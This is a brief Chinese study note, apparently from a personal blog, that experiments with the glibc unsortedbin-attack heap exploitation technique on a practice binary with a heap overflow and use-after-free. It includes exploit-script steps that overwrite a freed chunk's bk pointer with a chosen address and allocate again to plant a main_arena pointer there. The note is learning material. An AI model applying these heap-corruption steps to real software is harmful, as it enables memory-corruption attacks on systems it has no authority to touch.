探探unsortedbin-attack
前言:看着都说这个只能改大小没啥用,但是处于务实精神,还是要自己手动试一试的,找了一个存在堆溢出+uaf的来改着试试看看。
正好再偷个小懒
- 原理是wiki写的这个,都说很简单,但我还是感觉迷迷糊糊的,到底哪儿跟哪儿啊。。(据说bck是下一个块,也就是我这里的3号块)
先创了几个块,这里注意要将准备free为unsortedbin的块分开,否则会被合并掉,问就是试过(
creat(0x60,b'AAAAAA')#0
creat(0x80,b'AAAAAA')#1
creat(0x60,b'AAAAA')#2
creat(0x90,b'AAAAA')#3
creat(0x60,b'A')#4
free(1)
free(3)
debug()
看了看,实际上这样就行,而且必须要全部用掉,否则如果切出来smallbin的块后会报错导致程序中断。(具体因为什么检测还不太清楚)
creat(0x60,b'AAAAAA')#0
creat(0x80,b'AAAAAA')#1
creat(0x60,b'AAAAA')#2
creat(0x90,b'AAAAA')#3
creat(0x60,b'A')#4
free(1)
#free(3)
#debug()
edit(1,p64(0)+p64(0x602500))
#debug()
creat(0x80,b'BB')#5
另外:明明fd、bk都被我改掉了,那怎么找到的对应的块。
猜测:通过arena索引到的块进行的分配
原因:bck(伪造的bk地址)->fd的位置被分配了main_arena+88的地址。